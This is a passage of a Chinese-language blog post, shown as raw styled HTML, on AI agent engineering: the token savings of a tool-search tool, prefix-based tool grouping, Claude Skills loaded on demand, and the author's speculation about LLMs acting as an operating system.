leaf="">print(result)</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是如果遇到一些过程中的结果需要AI来进行判断的话那么有可能还是需要回到Agent的阅读思考这部分，但是目前PTC这种方式已经可以解决绝大部分场景的工具调用了</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.4 ToolSearchTool</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">文章来源：<a href="https://www.anthropic.com/engineering/advanced-tool-use" target="_blank">https://www.anthropic.com/engineering/advanced-tool-use</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">工具注册信息我们直接拼接到prompt后面就可以了，为什么claude还要提出toolsearchtool这样的方式，其实都是为了解决实际的问题</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是我拿演练的部分代码进行举例，可以看到我们原先都是直接将工具的描述直接通过拼接在prompt后面来给到LLM的</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031713" class="rich_pages wxw-img" data-ratio="0.7650513950073421" data-s="300,640" data-type="png" data-w="2043" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=cab0a913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzmGLnfyGAfCppJU2Hk9xiaIUxTL0eyNBRiavJj4nA4kKRDOhphBvgTH3A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们通常的工具描述是如下这样，可以看到又有描述，又有参数<img data-imgfileid="100031714" class="rich_pages wxw-img" data-ratio="1.1160651096956828" data-s="300,640" data-type="png" data-w="1413" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0058ad89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz0lkxjxfqxh2rqmblZ5xj3rrRFExw9UnLvSmCcNDaLwdj0PicevaM9xg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">那么如果工具少的话其实并没有什么影响，但是如果我们有上百个上千个工具需要让Agent来去进行使用，我们应该怎么办呢，如果我们直接将所有的内容全部塞到上下文空间中，那么直接会占用非常多有效的空间，而且往往单次调用的过程中只会调用其中的几个那么很多都会造成浪费，最终影响我们Agent任务完成的效果。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Claude注意到了这个问题，因为实现将所有工具进行注册至少需要55k以上的token的占用，所以Claude通过实现了一个专门用来搜索工具的“工具”这个工具的描述有可能只需要占用500个左右的token，当Agent需要调用工具的时候，通过调用这个“搜索工具”然后将返回的5-10个工具来进行注册调用，从而大大减少了整体的Token消耗。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031715" class="rich_pages wxw-img" data-ratio="0.5558242644095123" data-s="300,640" data-type="png" data-w="2481" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=8c65cd95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzjiafL7wibuMMtBwxNrpnw7icImic6dEYVuiboicTibwVJj9BiarQ66dyXdeV0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是说到这里其实还是有一些模糊，核心的搜索逻辑是什么，以及沃们如何从海量的插件中找到符合我们要求的5-10个插件呢，这里可以结合Manus的一些做法，在Manus中对工具通过前缀进行了大类的区分，例如Brower类的插件都是以为</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">brower__</span></code><span leaf="">开头的，那么我们的搜索工具只需要搜索特定开头就可以了。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时搜索工具也可以是一个Agent，我们利用前缀匹配+描述RAG也能很有效的筛选出符合要求的插件，我们可以直接借助描述信息来去对插件内容缩小范围</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.5 ClaudeSkills</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实一开始我其实并不理解为什么还要弄出来一个skill的概念,因为在我之前看来我用prompt和toolcall一样可以实现</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为什么claude需要skill，因为claudecode其实在现在的使用过程中越来越是作为一个通用Agent的角色来去完成任务的，在以往执行任务的过程中我们往往需要通过prompt或者对话来给一个角色定义「例如：你是一个网络安全专家……」那么其实我们的Agent和我们的场景是强关联的，我们在不同的场景下来构建不同的Agent<img data-imgfileid="100031684" alt="image.png" class="rich_pages wxw-img" data-ratio="0.4788732394366197" data-type="png" data-w="1562" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=73260a9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzkuhJfsegYnhFk0fZVmYzfeDIvRnrZ2mYKJ9OhTwNgpmatbas8mTszA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是随着能力的越来越强，我们逐渐可以用Claude来解决各种问题，不仅仅是以写代码的方式</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031682" alt="image.png" class="rich_pages wxw-img" data-ratio="0.47698209718670076" data-type="png" data-w="1564" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=88769093&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzibqrBBkDxzMcsnkILcQj4ZFZWRu60H3rkR8iaXmhM9XpQXqxOZzDuqicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">那么在实际处理过程中就会遇到一些问题，我这里以一个通俗的例子来进行举例，我是一名安全工程师，在原有角色设定场景下我聚焦于解决安全类的相关问题，但是在日常工作中，我并不只完全做安全相关的事情，我还会写ppt、写文章、读excel，但是这一些在原有的场景下，如果没有skill的支持，我们其实很难去做这些。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以skill就是相当于技能包，告诉Agent你并不仅仅只会网络安全，你还会其他的技能。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是一个skill的具体demo，skill是一个文件夹，里面有对应的工具，以及对应的技能包介绍</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031685" alt="image.png" class="rich_pages wxw-img" data-ratio="0.6276455026455027" data-type="png" data-w="3024" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2f59138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzuyLz3SfR7RRNSUqVm4O3nENTOJRp5NFqT2mWGQlzNqicHFaH8RQFPgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是随着skill的不断扩充，也会存在上下文侵占的问题，claude这边通过只提供skill的metadata信息，来让claude在实际场景中按需来加载skill来解决实际的任务问题</span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. Agent未来的发展</span></h2><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这部分纯属是我自己瞎YY的，欢迎大家一起讨论。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">现在大部分Agent的利用其实基本上还处于专家模型的阶段，针对各种定制化的场景去编写对应的prompt并且注册对应的工具。但是随着例如Anthropic、Openai等各个厂商的不断探索，未来的Agent通用能力会越来越高，也会逐渐摸索到Agent能力的边界。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以未来有可能就是我们只需要编写Skill、准确表达出我们的意图，那么Agent自然会自动化的完成整个任务的执行，包括现在其实也有越来越多的项目采用了这种方式，做好前半部分的意图拆解，然后直接将最小化任务给到ClaudeCode来执行，将其作为最小化的执行单元。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">再想的远一点，LLM-as-OS，大模型就相当于操作系统的内核，负责调度、分配、管理内存。中间通过某些方式进行抽象，对外暴露接口，统一化的注册各种工具</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: 